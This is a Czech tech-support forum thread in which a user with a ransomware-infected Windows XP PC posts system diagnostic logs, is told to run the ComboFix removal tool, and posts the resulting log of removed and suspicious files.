Aktualizace zabezpečení systému Windows XP (KB970430)-->"C:\WINDOWS\$NtUninstallKB970430$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB971468)-->"C:\WINDOWS\$NtUninstallKB971468$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB971657)-->"C:\WINDOWS\$NtUninstallKB971657$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB971961)-->"C:\WINDOWS\$NtUninstallKB971961$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB972270)-->"C:\WINDOWS\$NtUninstallKB972270$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB973354)-->"C:\WINDOWS\$NtUninstallKB973354$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB973507)-->"C:\WINDOWS\$NtUninstallKB973507$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB973869)-->"C:\WINDOWS\$NtUninstallKB973869$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB973904)-->"C:\WINDOWS\$NtUninstallKB973904$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB974112)-->"C:\WINDOWS\$NtUninstallKB974112$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB974318)-->"C:\WINDOWS\$NtUninstallKB974318$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB974392)-->"C:\WINDOWS\$NtUninstallKB974392$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB974571)-->"C:\WINDOWS\$NtUninstallKB974571$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB975025)-->"C:\WINDOWS\$NtUninstallKB975025$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB975467)-->"C:\WINDOWS\$NtUninstallKB975467$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB975560)-->"C:\WINDOWS\$NtUninstallKB975560$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB975561)-->"C:\WINDOWS\$NtUninstallKB975561$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB975562)-->"C:\WINDOWS\$NtUninstallKB975562$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB975713)-->"C:\WINDOWS\$NtUninstallKB975713$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB977165-v2)-->"C:\WINDOWS\$NtUninstallKB977165-v2$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB977816)-->"C:\WINDOWS\$NtUninstallKB977816$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB977914)-->"C:\WINDOWS\$NtUninstallKB977914$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB978037)-->"C:\WINDOWS\$NtUninstallKB978037$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB978251)-->"C:\WINDOWS\$NtUninstallKB978251$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB978262)-->"C:\WINDOWS\$NtUninstallKB978262$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB978338)-->"C:\WINDOWS\$NtUninstallKB978338$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB978542)-->"C:\WINDOWS\$NtUninstallKB978542$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB978601)-->"C:\WINDOWS\$NtUninstallKB978601$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB978706)-->"C:\WINDOWS\$NtUninstallKB978706$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB979309)-->"C:\WINDOWS\$NtUninstallKB979309$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB979482)-->"C:\WINDOWS\$NtUninstallKB979482$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB979559)-->"C:\WINDOWS\$NtUninstallKB979559$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB979683)-->"C:\WINDOWS\$NtUninstallKB979683$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB979687)-->"C:\WINDOWS\$NtUninstallKB979687$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB980195)-->"C:\WINDOWS\$NtUninstallKB980195$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB980218)-->"C:\WINDOWS\$NtUninstallKB980218$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB980232)-->"C:\WINDOWS\$NtUninstallKB980232$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB980436)-->"C:\WINDOWS\$NtUninstallKB980436$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB981322)-->"C:\WINDOWS\$NtUninstallKB981322$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB981349)-->"C:\WINDOWS\$NtUninstallKB981349$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB981852)-->"C:\WINDOWS\$NtUninstallKB981852$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB981957)-->"C:\WINDOWS\$NtUninstallKB981957$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB981997)-->"C:\WINDOWS\$NtUninstallKB981997$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB982132)-->"C:\WINDOWS\$NtUninstallKB982132$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB982214)-->"C:\WINDOWS\$NtUninstallKB982214$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB982665)-->"C:\WINDOWS\$NtUninstallKB982665$\spuninst\spuninst.exe"
Aktualizace zabezpečení systému Windows XP (KB982802)-->"C:\WINDOWS\$NtUninstallKB982802$\spuninst\spuninst.exe"
avast! Free Antivirus-->C:\Program Files\AVAST Software\Avast\Setup\Instup.exe /control_panel /instop:uninstall
Balíček ovladače systému Windows - Advanced Micro Devices (AmdK8) Processor (05/27/2006 1.3.2.0)-->C:\PROGRA~1\DIFX\7B44739871F4D539FA473F57A832EA4B6A59EF06\DPInst.exe /d /u C:\WINDOWS\system32\DRVSTORE\amdk8_E04BFC62AB75C18018CA32A469FC44BA0E376B83\amdk8.inf
CCleaner-->"C:\Program Files\CCleaner\uninst.exe"
Click to Call with Skype-->MsiExec.exe /I{B6CF2967-C81E-40C0-9815-C05774FEF120}
ConvertXtoDVD 4.1.2.336-->"C:\Program Files\VSO\ConvertX\4\unins000.exe"
Epson Easy Photo Print 2-->C:\Program Files\InstallShield Installation Information\{87C2248A-C7DD-49ED-9BCD-B312A9D0819E}\SETUP.EXE -runfromtemp -l0x0009 UNINST -removeonly
Epson Stylus SX210_SX410_TX210_TX410 Manuál-->C:\Program Files\EPSON\TPMANUAL\ESSX210_410_TX210_410\CZE\USE_G\DOCUNINS.EXE
EPSON SX410 Series Printer Uninstall-->C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\E_FINSFCE.EXE /R /APD /P:"EPSON SX410 Series"
EPSON Web-To-Page-->RunDll32 C:\PROGRA~1\COMMON~1\INSTAL~1\engine\6\INTEL3~1\Ctor.dll,LaunchSetup "C:\Program Files\InstallShield Installation Information\{7F14F68C-17FA-4F88-B3FD-7F449C1EBF32}\SETUP.EXE" -l0x9 -anything
ffdshow v1.2.4422 [2012-04-09]-->"C:\Program Files\ffdshow\unins000.exe"
Google Earth-->MsiExec.exe /X{4D2A6330-2F8B-11E3-9C40-B8AC6F97B88E}
Google Chrome-->"C:\Program Files\Google\Chrome\Application\31.0.1650.63\Installer\setup.exe" --uninstall --multi-install --chrome --system-level
Google Update Helper-->MsiExec.exe /I{A92DAB39-4E2C-4304-9AB6-BC44E68B55E2}
Haali Media Splitter-->"C:\Program Files\Haali\MatroskaSplitter\uninstall.exe"
High Definition Audio Driver Package - KB888111-->"C:\WINDOWS\$NtUninstallKB888111WXPSP2$\spuninst\spuninst.exe"
Hotfix for Windows Media Format 11 SDK (KB929399)-->"C:\WINDOWS\$NtUninstallKB929399$\spuninst\spuninst.exe"
IB Updater Service-->"C:\WINDOWS\system32\WNLT\Installation\Uninstall\UninstallerLauncher.exe"
Microsoft .NET Framework 1.1 Security Update (KB2698023)-->"C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\Updates\hotfix.exe" "C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\Updates\M2698023\M2698023Uninstall.msp"
Microsoft .NET Framework 1.1 Security Update (KB2742597)-->"C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\Updates\hotfix.exe" "C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\Updates\M2742597\M2742597Uninstall.msp"
Microsoft .NET Framework 1.1-->msiexec.exe /X {CB2F7EDD-9D1F-43C1-90FC-4F52EAE172A1}
Microsoft .NET Framework 1.1-->MsiExec.exe /X{CB2F7EDD-9D1F-43C1-90FC-4F52EAE172A1}
Microsoft Compression Client Pack 1.0 for Windows XP-->"C:\WINDOWS\$NtUninstallMSCompPackV1$\spuninst\spuninst.exe"
Microsoft Internationalized Domain Names Mitigation APIs-->"C:\WINDOWS\$NtServicePackUninstallIDNMitigationAPIs$\spuninst\spuninst.exe"
Microsoft National Language Support Downlevel APIs-->"C:\WINDOWS\$NtServicePackUninstallNLSDownlevelMapping$\spuninst\spuninst.exe"
Microsoft Office File Validation Add-In-->MsiExec.exe /I{90140000-2005-0000-0000-0000000FF1CE}
Microsoft Office Professional Edition 2003-->MsiExec.exe /I{90110405-6000-11D3-8CFE-0150048383C9}
Microsoft Silverlight-->MsiExec.exe /X{89F4137D-6C26-4A84-BDB8-2E5A4BB71E00}
Microsoft User-Mode Driver Framework Feature Pack 1.0-->"C:\WINDOWS\$NtUninstallWudf01000$\spuninst\spuninst.exe"
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148-->MsiExec.exe /X{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161-->MsiExec.exe /X{9BE518E6-ECC6-35A9-88E4-87755C07200F}
Mozilla Firefox (3.6.13)-->C:\Program Files\Mozilla Firefox\uninstall\helper.exe
Nero 7 Ultra Edition-->MsiExec.exe /I{F14B8ECC-BDA0-4987-9201-D7B7DBE11029}
NVIDIA Drivers-->C:\WINDOWS\system32\nvudisp.exe UninstallGUI
Oprava hotfix aplikace Windows Media Player 11 (KB939683)-->"C:\WINDOWS\$NtUninstallKB939683$\spuninst\spuninst.exe"
Oprava Hotfix systému Windows XP (KB2158563)-->"C:\WINDOWS\$NtUninstallKB2158563$\spuninst\spuninst.exe"
Oprava Hotfix systému Windows XP (KB2443685)-->"C:\WINDOWS\$NtUninstallKB2443685$\spuninst\spuninst.exe"
Oprava Hotfix systému Windows XP (KB2570791)-->"C:\WINDOWS\$NtUninstallKB2570791$\spuninst\spuninst.exe"
Oprava Hotfix systému Windows XP (KB2633952)-->"C:\WINDOWS\$NtUninstallKB2633952$\spuninst\spuninst.exe"
Oprava Hotfix systému Windows XP (KB2756822)-->"C:\WINDOWS\$NtUninstallKB2756822$\spuninst\spuninst.exe"
Oprava Hotfix systému Windows XP (KB2779562)-->"C:\WINDOWS\$NtUninstallKB2779562$\spuninst\spuninst.exe"
Oprava Hotfix systému Windows XP (KB952287)-->"C:\WINDOWS\$NtUninstallKB952287$\spuninst\spuninst.exe"
Oprava Hotfix systému Windows XP (KB979306)-->"C:\WINDOWS\$NtUninstallKB979306$\spuninst\spuninst.exe"
Oprava Hotfix systému Windows XP (KB981793)-->"C:\WINDOWS\$NtUninstallKB981793$\spuninst\spuninst.exe"
PowerDVD-->RunDll32 C:\PROGRA~1\COMMON~1\INSTAL~1\engine\6\INTEL3~1\Ctor.dll,LaunchSetup "C:\Program Files\InstallShield Installation Information\{6811CAA0-BF12-11D4-9EA1-0050BAE317E1}\Setup.exe" -uninstall
Realtek High Definition Audio Driver-->RunDll32 C:\PROGRA~1\COMMON~1\INSTAL~1\PROFES~1\RunTime\11\50\Intel32\Ctor.dll,LaunchSetup "C:\Program Files\InstallShield Installation Information\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}\SETUP.EXE" -l0x5 -removeonly
Savings Sidekick-->C:\Program Files\Savings Sidekick\Uninstall.exe
Total Commander (Remove or Repair)-->c:\totalcmd\tcuninst.exe
UnderCoverXP 1.21-->"C:\Program Files\UnderCoverXP\unins000.exe"
uTorrentControl_v2 Toolbar-->C:\Program Files\uTorrentControl_v2\uninstall.exe
Web Assistant 2.0.0.572-->"C:\Program Files\Web Assistant\unins000.exe"
Windows Internet Explorer 8-->"C:\WINDOWS\ie8\spuninst\spuninst.exe"
Windows Media Format 11 runtime-->"C:\Program Files\Windows Media Player\wmsetsdk.exe" /UninstallAll
Windows Media Format 11 runtime-->"C:\WINDOWS\$NtUninstallWMFDist11$\spuninst\spuninst.exe"
Windows Media Player 11-->"C:\Program Files\Windows Media Player\Setup_wm.exe" /Uninstall
Windows Media Player 11-->"C:\WINDOWS\$NtUninstallwmp11$\spuninst\spuninst.exe"
Windows XP Service Pack 3-->"C:\WINDOWS\$NtServicePackUninstall$\spuninst\spuninst.exe"
WinRAR-->C:\Program Files\WinRAR\uninstall.exe

======Security center information======

AV: avast! Antivirus

======System event log======

Computer Name: DOMA-1A5BCF9C52
Event Code: 7036
Message: Stav služby Služba brány aplikačního rozhraní byl změněn na: Spuštěno

Record Number: 50305
Source Name: Service Control Manager
Time Written: 20131214201717.000000+060
Event Type: Informace
User:

Computer Name: DOMA-1A5BCF9C52
Event Code: 7035
Message: Řídící příkaz Spuštěno byl službě Služba brány aplikačního rozhraní úspěšně odeslán.

Record Number: 50304
Source Name: Service Control Manager
Time Written: 20131214201717.000000+060
Event Type: Informace
User: NT AUTHORITY\SYSTEM

Computer Name: DOMA-1A5BCF9C52
Event Code: 7036
Message: Stav služby Správce vzdáleného přístupu byl změněn na: Spuštěno

Record Number: 50303
Source Name: Service Control Manager
Time Written: 20131214201717.000000+060
Event Type: Informace
User:

Computer Name: DOMA-1A5BCF9C52
Event Code: 7036
Message: Stav služby Služba rozpoznávání pomocí protokolu SSDP byl změněn na: Spuštěno

Record Number: 50302
Source Name: Service Control Manager
Time Written: 20131214201717.000000+060
Event Type: Informace
User:

Computer Name: DOMA-1A5BCF9C52
Event Code: 7036
Message: Stav služby Služba modelu COM pro zápis na disk CD (IMAPI) byl změněn na: Spuštěno

Record Number: 50301
Source Name: Service Control Manager
Time Written: 20131214201717.000000+060
Event Type: Informace
User:

=====Application event log=====

Computer Name: DOMA-1A5BCF9C52
Event Code: 0
Message:
Record Number: 6702
Source Name: gupdate
Time Written: 20130210190500.000000+060
Event Type: Informace
User:

Computer Name: DOMA-1A5BCF9C52
Event Code: 101
Message:
Record Number: 6701
Source Name: SkypeUpdate
Time Written: 20130210185638.000000+060
Event Type: Informace
User:

Computer Name: DOMA-1A5BCF9C52
Event Code: 103
Message:
Record Number: 6700
Source Name: SkypeUpdate
Time Written: 20130210185637.000000+060
Event Type: Informace
User:

Computer Name: DOMA-1A5BCF9C52
Event Code: 1800
Message: Služba Centrum zabezpečení systému Windows byla spuštěna.

Record Number: 6699
Source Name: SecurityCenter
Time Written: 20130210185441.000000+060
Event Type: Informace
User:

Computer Name: DOMA-1A5BCF9C52
Event Code: 100
Message:
Record Number: 6698
Source Name: SkypeUpdate
Time Written: 20130210185437.000000+060
Event Type: Informace
User:

======Environment variables======

"ComSpec"=%SystemRoot%\system32\cmd.exe
"Path"=%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem
"windir"=%SystemRoot%
"FP_NO_HOST_CHECK"=NO
"OS"=Windows_NT
"PROCESSOR_ARCHITECTURE"=x86
"PROCESSOR_LEVEL"=15
"PROCESSOR_IDENTIFIER"=x86 Family 15 Model 95 Stepping 3, AuthenticAMD
"PROCESSOR_REVISION"=5f03
"NUMBER_OF_PROCESSORS"=1
"PATHEXT"=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
"TEMP"=%SystemRoot%\TEMP
"TMP"=%SystemRoot%\TEMP

-----------------EOF-----------------

#2 Příspěvek od **Rudy** » 04 led 2014 20:58

Zdravím!
Dejte log ComboFix:

Stahnete a ulozte nejlepe na plochu ComboFix: http://download.bleepingcomputer.com/sUBs/ComboFix.exe

pote spustte aplikaci pod uctem s administratorskym opravnenim

hned po startu se zobrazi obrazovka s licencnimi podminkami, pokracujte kliknutim na tlacitko Ano.

v klidu si postavte na kafe (cela akce trva cca. 5-10 minut, nekdy i dele - dle toho, o jak rychly stroj se

jedna a kolika soubory se skener bude muset prodirat), behem skenu se nepokousejte spoustet zadne jine

aplikace ani nic jineho

behem skenovani nepropadejte panice, vas stroj muze byt restartovan (predevsim pri prvni aplikaci skeneru)

upozorneni: pokud pouzivate antispyware s rezidentnim stitem, prepnete jeho rezidentni stit do Install Mode,

pripadne jej po dobu skenu uplne deaktivujte, protoze dochazi pri skenu a vymazu pripadneho malware k

nezadoucim kolizim s rezidentem antispyware.

Ty zašifrované fotografie jsou, bohužel, ztraceny. Chytil jste variantu "policejního viru", která zakryptuje fotografie (a někdy i dokumenty). Zatím nikdo neví, jak to dekryptovat.

Antivirus94 · #3 Příspěvek od **Antivirus94** » 04 led 2014 21:26

Log z COMBOFIXU!
---------------------------------------------------------------------------------------------------------------------------------------

ComboFix 14-01-04.03 - 123 04.01.2014 21:13:23.1.1 - x86
Microsoft Windows XP Home Edition 5.1.2600.3.1250.420.1029.18.959.525 [GMT 1:00]
Spuštěný z: c:\documents and settings\123\Plocha\ComboFix.exe
AV: avast! Antivirus *Disabled/Updated* {7591DB91-41F0-48A3-B128-1A293FD8233D}
.
.
((((((((((((((((((((((((((((((((((((((( Ostatní výmazy )))))))))))))))))))))))))))))))))))))))))))))))))
.
.
c:\documents and settings\123\Local Settings\Data aplikací\Google\Chrome\User Data\Default\Local Storage\chrome-extension_dhdepfaagokllfmhfbcfmocaeigmoebo_0.localstorage-journal
c:\documents and settings\123\Local Settings\Data aplikací\Google\Chrome\User Data\Default\Local Storage\chrome-extension_dhdepfaagokllfmhfbcfmocaeigmoebo_0.localstorage
c:\documents and settings\123\Local Settings\Data aplikací\Google\Chrome\User Data\Default\Preferences
c:\program files\Dirty\DirtyDecrypt.exe
c:\program files\Internet Explorer\SET2.tmp
c:\program files\Internet Explorer\SET3.tmp
c:\program files\Internet Explorer\SET4.tmp
c:\program files\Savings Sidekick
c:\program files\Savings Sidekick\Savings Sidekick.dll
c:\program files\Savings Sidekick\Savings Sidekick.exe
c:\program files\Savings Sidekick\Savings Sidekick.ico
c:\program files\Savings Sidekick\Savings Sidekick.ini
c:\program files\Savings Sidekick\Savings SidekickGui.exe
c:\program files\Savings Sidekick\Savings SidekickInstaller.log
c:\program files\Savings Sidekick\Uninstall.exe
c:\windows\pkunzip.pif
c:\windows\pkzip.pif
c:\windows\system32\SET13.tmp
c:\windows\system32\SET14.tmp
c:\windows\system32\SET15.tmp
c:\windows\system32\SET16.tmp
c:\windows\system32\SET17.tmp
c:\windows\system32\SET18.tmp
c:\windows\system32\SET19.tmp
c:\windows\system32\SET1A.tmp
c:\windows\system32\SET1B.tmp
c:\windows\system32\SET1C.tmp
c:\windows\system32\SET1D.tmp
c:\windows\system32\SET1E.tmp
c:\windows\system32\SET1F.tmp
c:\windows\system32\SET20.tmp
c:\windows\system32\SET21.tmp
c:\windows\system32\SET22.tmp
c:\windows\system32\SET23.tmp
c:\windows\system32\SET24.tmp
c:\windows\system32\SET25.tmp
c:\windows\system32\SET26.tmp
c:\windows\system32\SET27.tmp
c:\windows\system32\SET28.tmp
c:\windows\system32\SET2A.tmp
c:\windows\system32\SET2B.tmp
c:\windows\system32\SET2C.tmp
c:\windows\system32\SET2D.tmp
c:\windows\system32\SET2E.tmp
c:\windows\system32\SET2F.tmp
c:\windows\system32\SET30.tmp
c:\windows\system32\SET31.tmp
c:\windows\system32\SET32.tmp
c:\windows\system32\SET33.tmp
c:\windows\system32\SET34.tmp
c:\windows\system32\SET35.tmp
c:\windows\system32\SET36.tmp
c:\windows\system32\SET37.tmp
c:\windows\system32\SET38.tmp
c:\windows\system32\SET39.tmp
c:\windows\system32\SET3A.tmp
c:\windows\system32\SET3B.tmp
c:\windows\system32\SET3C.tmp
c:\windows\system32\SET3D.tmp
c:\windows\system32\SET3E.tmp
c:\windows\system32\SET3F.tmp
c:\windows\system32\SET40.tmp
c:\windows\system32\SET41.tmp
c:\windows\system32\SET42.tmp
c:\windows\system32\SET43.tmp
.
.
((((((((((((((((((((((((( Soubory vytvořené od 2013-12-04 do 2014-01-04 )))))))))))))))))))))))))))))))
.
.
2014-01-04 19:30 . 2014-01-04 19:30 -------- d-----w- C:\rsit
2014-01-04 19:30 . 2014-01-04 19:30 -------- d-----w- c:\program files\trend micro
2013-12-30 17:15 . 2013-12-30 17:15 -------- d-----w- c:\windows\system32\jmdp
2013-12-26 20:41 . 2013-12-26 20:41 -------- d-----w- c:\documents and settings\123\Data aplikací\AVAST Software
2013-12-26 14:02 . 2013-12-26 14:02 -------- d-----w- c:\documents and settings\123\Local Settings\Data aplikací\Unity
2013-12-26 13:31 . 2013-12-31 10:47 -------- d-----w- c:\documents and settings\123\Local Settings\Data aplikací\NativeMessaging
2013-12-26 13:31 . 2013-12-26 13:31 -------- d-----w- c:\documents and settings\123\Local Settings\Data aplikací\TBHostSupport
2013-12-26 13:15 . 2013-12-26 13:15 -------- d-----w- c:\program files\CCleaner
2013-12-26 13:00 . 2013-12-26 13:08 67824 ----a-w- c:\windows\system32\drivers\aswMonFlt.sys
2013-12-26 13:00 . 2013-12-26 13:08 49944 ----a-w- c:\windows\system32\drivers\aswRvrt.sys
2013-12-26 13:00 . 2013-12-26 13:08 180248 ----a-w- c:\windows\system32\drivers\aswVmm.sys
2013-12-15 12:44 . 2013-12-15 12:44 -------- d-----w- c:\program files\Seznam.cz
2013-12-15 12:44 . 2014-01-04 19:24 -------- d-----w- c:\documents and settings\123\Data aplikací\Seznam.cz
.
.
.
(((((((((((((((((((((((((((((((((((((((( Find3M výpis ))))))))))))))))))))))))))))))))))))))))))))))))))))
.
2013-12-29 10:12 . 2013-03-06 17:31 1488176 ----a-w- c:\windows\system32\dmwu.exe
2013-12-29 10:08 . 2013-03-06 17:31 27136 ----a-w- c:\windows\system32\ImHttpComm.dll
2013-12-26 13:08 . 2011-08-07 18:45 775952 ----a-w- c:\windows\system32\drivers\aswSnx.sys
2013-12-26 13:08 . 2010-11-16 18:18 410528 ----a-w- c:\windows\system32\drivers\aswSP.sys
2013-12-26 13:08 . 2009-03-17 11:33 57672 ----a-w- c:\windows\system32\drivers\aswTdi.sys
2013-12-26 13:08 . 2009-03-17 11:33 54832 ----a-w- c:\windows\system32\drivers\aswRdr.sys
2013-12-26 13:08 . 2011-08-07 18:45 43152 ----a-w- c:\windows\avastSS.scr
2013-12-26 13:08 . 2009-03-17 11:33 270240 ----a-w- c:\windows\system32\aswBoot.exe
2013-12-25 08:03 . 2012-09-13 16:02 632656 ----a-w- c:\windows\system32\msvcr80.dll
2013-12-25 08:03 . 2012-09-13 16:02 554832 ----a-w- c:\windows\system32\msvcp80.dll
2013-12-25 08:03 . 2012-09-13 16:02 479232 ----a-w- c:\windows\system32\msvcm80.dll
2013-12-10 19:58 . 2013-05-29 16:26 692616 ----a-w- c:\windows\system32\FlashPlayerApp.exe
2013-12-10 19:58 . 2012-02-17 19:20 71048 ----a-w- c:\windows\system32\FlashPlayerCPLApp.cpl
.
.
(((((((((((((((((((((((((((((((((( Spouštěcí body v registru )))))))))))))))))))))))))))))))))))))))))))))
.
.
*Poznámka* prázdné záznamy a legitimní výchozí údaje nejsou zobrazeny.
REGEDIT4
.
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\URLSearchHooks]
"{7473b6bd-4691-4744-a82b-7854eb3d70b6}"= "c:\program files\uTorrentControl_v2\prxtbuTo0.dll" [2013-11-06 226592]
.
[HKEY_CLASSES_ROOT\clsid\{7473b6bd-4691-4744-a82b-7854eb3d70b6}]
.
[HKEY_LOCAL_MACHINE\SOFTWARE\~\Browser Helper Objects\{7473b6bd-4691-4744-a82b-7854eb3d70b6}]
2013-11-06 11:59 226592 ----a-w- c:\program files\uTorrentControl_v2\prxtbuTo0.dll
.
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Toolbar]
"{7473b6bd-4691-4744-a82b-7854eb3d70b6}"= "c:\program files\uTorrentControl_v2\prxtbuTo0.dll" [2013-11-06 226592]
.
[HKEY_CLASSES_ROOT\clsid\{7473b6bd-4691-4744-a82b-7854eb3d70b6}]
.
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar\Webbrowser]
"{7473B6BD-4691-4744-A82B-7854EB3D70B6}"= "c:\program files\uTorrentControl_v2\prxtbuTo0.dll" [2013-11-06 226592]
.
[HKEY_CLASSES_ROOT\clsid\{7473b6bd-4691-4744-a82b-7854eb3d70b6}]
.
[HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\explorer\shelliconoverlayidentifiers\00avast]
@="{472083B0-C522-11CF-8763-00608CC02F24}"
[HKEY_CLASSES_ROOT\CLSID\{472083B0-C522-11CF-8763-00608CC02F24}]
2013-12-26 13:08 259464 ----a-w- c:\program files\AVAST Software\Avast\ashShell.dll
.
[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"BgMonitor_{79662E04-7C6C-4d9f-84C7-88D8A56B10AA}"="c:\program files\Common Files\Ahead\Lib\NMBgMonitor.exe" [2006-10-09 139264]
"cz.seznam.software.autoupdate"="c:\documents and settings\123\Data aplikací\Seznam.cz\szninstall.exe" [2013-05-16 1062472]
"cz.seznam.software.szndesktop"="c:\documents and settings\123\Data aplikací\Seznam.cz\bin\wszndesktop.exe" [2013-04-12 92664]
"TBHostSupport"="c:\documents and settings\123\Local Settings\Data aplikací\TBHostSupport\TBHostSupport.dll" [2013-12-26 480032]
"WorBummb"="c:\documents and settings\123\Local Settings\Data aplikací\NativeMessaging\LVENIVqh.exe" [2013-06-27 391168]
.
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"RTHDCPL"="RTHDCPL.EXE" [2007-07-05 16380416]
"SkyTel"="SkyTel.EXE" [2007-06-15 1826816]
"NeroFilterCheck"="c:\program files\Common Files\Ahead\Lib\NeroCheck.exe" [2006-01-12 155648]
"seznam-listicka-distribuce"="c:\program files\Seznam.cz\distribution\szninstall.exe" [2013-05-16 1062472]
"AvastUI.exe"="c:\program files\AVAST Software\Avast\AvastUI.exe" [2013-12-26 3764024]
.
[HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run]
"CTFMON.EXE"="c:\windows\system32\CTFMON.EXE" [2008-04-14 15360]
.
c:\documents and settings\123\Nabídka Start\Programy\Po spuštění\
OhuSpHOt.exe [2013-6-27 391168]
.
c:\documents and settings\All Users\Nabídka Start\Programy\Po spuštění\
Adobe Reader Speed Launch.lnk - c:\program files\Adobe\Acrobat 7.0\Reader\reader_sl.exe [2004-12-14 29696]
.
[HKEY_LOCAL_MACHINE\software\microsoft\security center]
"AntiVirusOverride"=dword:00000001
"FirewallOverride"=dword:00000001
.
[HKLM\~\services\sharedaccess\parameters\firewallpolicy\standardprofile]
"EnableFirewall"= 0 (0x0)
"DisableNotifications"= 1 (0x1)
.
[HKLM\~\services\sharedaccess\parameters\firewallpolicy\standardprofile\AuthorizedApplications\List]
"%windir%\\system32\\sessmgr.exe"=
"c:\\Program Files\\Common Files\\Ahead\\Nero Web\\SetupX.exe"=
"%windir%\\Network Diagnostic\\xpnetdiag.exe"=
"c:\\Program Files\\Google\\Google Earth\\client\\googleearth.exe"=
"c:\\Program Files\\Nero\\Nero 7\\Nero ShowTime\\ShowTime.exe"=
"c:\\WINDOWS\\system32\\dmwu.exe"=
"c:\\WINDOWS\\system32\\ARFC\\wrtc.exe"=
.
R0 aswRvrt;avast! Revert;c:\windows\system32\drivers\aswRvrt.sys [26.12.2013 14:00 49944]
R0 aswVmm;avast! VM Monitor;c:\windows\system32\drivers\aswVmm.sys [26.12.2013 14:00 180248]
R1 aswSnx;aswSnx;c:\windows\system32\drivers\aswSnx.sys [7.8.2011 19:45 775952]
R1 aswSP;aswSP;c:\windows\system32\drivers\aswSP.sys [16.11.2010 19:18 410528]
R2 aswMonFlt;aswMonFlt;c:\windows\system32\drivers\aswMonFlt.sys [26.12.2013 14:00 67824]
R2 IBUpdaterService;IBUpdaterService;c:\windows\system32\dmwu.exe [6.3.2013 18:31 1488176]
R2 Web Assistant;Web Assistant;c:\program files\Web Assistant\ExtensionUpdaterService.exe [27.5.2012 20:24 188760]
.
[HKEY_LOCAL_MACHINE\software\microsoft\active setup\installed components\{8A69D345-D564-463c-AFF1-A69D9E530F96}]
2013-12-06 15:52 1210320 ----a-w- c:\program files\Google\Chrome\Application\31.0.1650.63\Installer\chrmstp.exe
.
Obsah adresáře 'Naplánované úlohy'
.
2014-01-04 c:\windows\Tasks\Adobe Flash Player Updater.job
- c:\windows\system32\Macromed\Flash\FlashPlayerUpdateService.exe [2013-05-29 19:58]
.
2014-01-04 c:\windows\Tasks\avast! Emergency Update.job
- c:\program files\AVAST Software\Avast\AvastEmUpdate.exe [2012-07-25 13:08]
.
